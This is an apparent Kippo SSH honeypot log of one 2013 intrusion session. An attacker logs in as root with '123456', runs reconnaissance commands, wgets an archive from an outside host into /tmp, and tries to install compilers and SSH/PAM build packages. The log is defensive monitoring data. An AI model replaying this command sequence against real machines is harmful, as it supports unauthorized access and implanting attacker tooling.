

2013-05-07 11:05:08-0400 [kippo.core.honeypot.HoneyPotSSHFactory] New connection:
87.221.19.64:3009 (192.168.1.139:22) [session: 19]
2013-05-07 11:05:08-0400 [HoneyPotTransport,19,87.221.19.64] Remote SSH version:
SSH-2.0-PuTTY_Release_0.62
2013-05-07 11:05:08-0400 [HoneyPotTransport,19,87.221.19.64] kex alg, key alg:
diffie-hellman-group1-sha1 ssh-rsa
2013-05-07 11:05:08-0400 [HoneyPotTransport,19,87.221.19.64] outgoing: aes256-ctr
hmac-sha1 none
2013-05-07 11:05:08-0400 [HoneyPotTransport,19,87.221.19.64] incoming: aes256-ctr
hmac-sha1 none
2013-05-07 11:05:10-0400 [HoneyPotTransport,19,87.221.19.64] NEW KEYS
2013-05-07 11:05:10-0400 [HoneyPotTransport,19,87.221.19.64] starting service ssh-userauth
2013-05-07 11:05:11-0400 [SSHService ssh-userauth on HoneyPotTransport,19,87.221.19.64]
root trying auth none
2013-05-07 11:05:12-0400 [SSHService ssh-userauth on HoneyPotTransport,19,87.221.19.64]
root trying auth keyboard-interactive
2013-05-07 11:05:12-0400 [-] root failed auth password
2013-05-07 11:05:12-0400 [-] unauthorized login:
2013-05-07 11:05:16-0400 [SSHService ssh-userauth on HoneyPotTransport,19,87.221.19.64]
login attempt [root/123456] succeeded
2013-05-07 11:05:16-0400 [SSHService ssh-userauth on HoneyPotTransport,19,87.221.19.64]
root authenticated with keyboard-interactive
2013-05-07 11:05:16-0400 [SSHService ssh-userauth on HoneyPotTransport,19,87.221.19.64]
starting service ssh-connection
2013-05-07 11:05:16-0400 [SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] got channel session request
2013-05-07 11:05:16-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] channel open
2013-05-07 11:05:16-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] pty request: xterm (24, 80, 0, 0)
2013-05-07 11:05:16-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Terminal size: 24 80
2013-05-07 11:05:16-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] getting shell
2013-05-07 11:05:16-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Opening TTY log: log/tty/20130507-110516-9528.log
2013-05-07 11:05:17-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] /etc/motd resolved into /etc/motd
2013-05-07 11:05:18-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] CMD: w
2013-05-07 11:05:18-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command found: w
2013-05-07 11:05:25-0400 [SSHChannel session (0) on SSHService ssh-connection on

HoneyPotTransport,19,87.221.19.64] CMD: cat /proc/cpuinfo
2013-05-07 11:05:25-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: cat /proc/cpuinfo
2013-05-07 11:05:25-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] /proc/cpuinfo resolved into /proc/cpuinfo
2013-05-07 11:05:25-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Updating realfile to honeyfs//proc/cpuinfo
2013-05-07 11:05:27-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: w
2013-05-07 11:05:27-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: w
2013-05-07 11:05:30-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: ls -a
2013-05-07 11:05:30-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: ls -a
2013-05-07 11:05:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: cd /tmp
2013-05-07 11:05:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: cd /tmp
2013-05-07 11:05:38-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: ls -a
2013-05-07 11:05:38-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: ls -a
2013-05-07 11:06:11-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: wget
<http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe>
2013-05-07 11:06:11-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: wget
<http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe>
2013-05-07 11:06:11-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Starting factory <HTTPProgressDownloader:
<http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe>>
2013-05-07 11:06:15-0400 [HTTPPageDownloader,client] Stopping factory
<HTTPProgressDownloader:
<http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe>>
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: wget
http://www.gajik.net/download/csservers_redirect_linux_hlds.zip
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command found: wget
http://www.gajik.net/download/csservers_redirect_linux_hlds.zip
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Starting factory <HTTPProgressDownloader:

http://www.gajik.net/download/csservers_redirect_linux_hlds.zip>
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:06:54-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] INPUT:
2013-05-07 11:07:26-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] unhandled request for winadj@putty.projects.tartarus.org
2013-05-07 11:08:22-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] unhandled request for winadj@putty.projects.tartarus.org
2013-05-07 11:08:55-0400 [HTTPPageDownloader,client] Updating realfile to dl/20130507110654_http__www_gajik_net_download_csservers_redirect_linux_hlds_zip
2013-05-07 11:08:55-0400 [HTTPPageDownloader,client] Stopping factory
<HTTPProgressDownloader: http://www.gajik.net/download/csservers_redirect_linux_hlds.zip>
2013-05-07 11:09:29-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: ww unzip csservers_redirect_linux_hlds.zip
2013-05-07 11:09:30-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: ww unzip
csservers_redirect_linux_hlds.zip
2013-05-07 11:10:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: ww unzip csservers_redirect_linux_hlds.zip
2013-05-07 11:10:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: ww unzip
csservers_redirect_linux_hlds.zip
2013-05-07 11:10:43-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: unzip csservers_redirect_linux_hlds.zip
2013-05-07 11:10:43-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: unzip
csservers_redirect_linux_hlds.zip
2013-05-07 11:10:50-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: yum install unzip
2013-05-07 11:10:50-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: yum install unzip
2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: apt-get update ;apt-get install make -y;apt-get install wget -y;apt-get install tar -y;apt-get install nano -y;apt-get install openssl-* -y;apt-get install

openssh* -y;apt-get install openssh-* -y;apt-get install openssl* -y;apt-get install pam* -y;apt-get install zlib* -y;apt-get install zlib-* -y;apt-get install gcc -y;apt-get install glibc.i686 -y;apt-get install ia32-libs -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get update

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install make -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install wget -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install tar -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install nano -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install openssl-* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install openssh* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install openssh-* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install openssl* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install pam* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install zlib* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install zlib-* -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install gcc -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install glibc.i686 -y

2013-05-07 11:11:09-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: apt-get install ia32-libs -y

2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] CMD: yum install service -y ;yum install make -y;yum install wget -y;yum install tar -y;yum install nano -y;yum install openssl-* -y;yum install openssh* -y;yum install openssh-* -y;yum install openssl* -y;yum install pam* -y;yum install zlib* -y;yum install zlib-* -y;yum install gcc -y;yum install glibc.i686 -y;yum install ia32-libs -y

2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: yum install service -y

2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19,87.221.19.64] Command not found: yum install make -y

2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on

HoneyPotTransport,19,87.221.19.64] Command not found: yum install wget -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install tar -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install nano -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install openssl-* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install openssh* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install openssh-* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install openssl* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install pam* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install zlib* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install zlib-* -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install gcc -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install glibc.i686 -y
2013-05-07 11:11:14-0400 [SSHChannel session (0) on SSHService ssh-connection on
HoneyPotTransport,19,87.221.19.64] Command not found: yum install ia32-libs -y
2013-05-07 11:11:17-0400 [HoneyPotTransport,19,87.221.19.64] connection lost